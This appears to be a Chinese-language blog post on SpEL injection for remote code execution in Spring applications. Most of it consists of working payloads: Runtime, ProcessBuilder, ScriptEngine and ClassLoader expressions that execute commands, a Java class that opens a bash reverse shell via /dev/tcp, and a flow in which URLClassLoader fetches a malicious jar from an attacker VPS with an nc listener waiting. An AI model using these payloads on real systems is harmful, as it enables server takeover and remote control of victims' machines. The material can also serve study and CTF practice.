SpEL注入RCE

SpEL调用流程

1.注册变量

# ProcessBuilder方法
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";	
# RunTime方法
# Java的RunTime方法采用 单例模式-饿汉式,即在内存中唯一,所以需要用getRuntime()静态方法调用实例
String cmdStr = "T(Runtime).getRuntime().exec(new String[]{\"open\",\"/System/Applications/Calculator.app\"})";
# ScriptEngine方法
# nashorn引擎执行
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";
# javascript引擎执行
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";

将 cmdStr 注入到解析器能调用的变量中,则可以执行payload

2.新建解析器

ExpressionParser parser = new SpelExpressionParser();

3.解析表达式

Expression exp = parser.parseExpression(cmdStr);

4.取值,执行payload

System.out.println( exp.getValue() );

攻击流程

UrlClassLoader方法

原理:

通过UrlClassLoader远程访问到存有恶意代码服务器的端口实例化

Exp.java 运行程序反弹shell,例如放在VPS 192.168.0.1:9999上,开HTTP服务

public class Exp{
    public Exp(String address){
        address = address.replace(":","/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

攻击流程:

攻击者 VPS ────────────────────┬─────────────────────→ 目标服务器
(托管 Exp.jar) │
│ 1. 目标执行 Payload
│ 2. URLClassLoader 下载 Exp.jar
│ 3. 加载 Exp 类并实例化
│ 4. 反向 Shell 连接回传

攻击者监听 2333 端口 ←─────────┘
(nc -lvp 2333)

可通过内置对象加载UrlClassLoader

{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

request、response对象是web项目的常客,通过第一个poc测试发现在web项目如果引入了spel的依赖,那么这两个对象会自动被注册进去。

像这样,会发现它调用的是UrlClassLoader

AppClassLoader方法

可通过其他类获取AppClassLoader

使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app,比如:org.springframework.expression.Expression类

System.out.println( org.springframework.expression.Expression.class.getClassLoader() );

那么很容易就可以得到一个获取AppClassLoader的方法 ,

T(org.springframework.expression.Expression).getClass().getClassLoader()

假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:

T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

假设有一个自定义的类那么可以:

T(com.ctf.controller.Demo).getClass().getClassLoader()

EXP:

  • 加载Runtime执行

    由于需要调用到静态方法所以还是要用到T()操作

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
    
  • 加载ProcessBuilder执行

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()
    

一个仍在爬山的人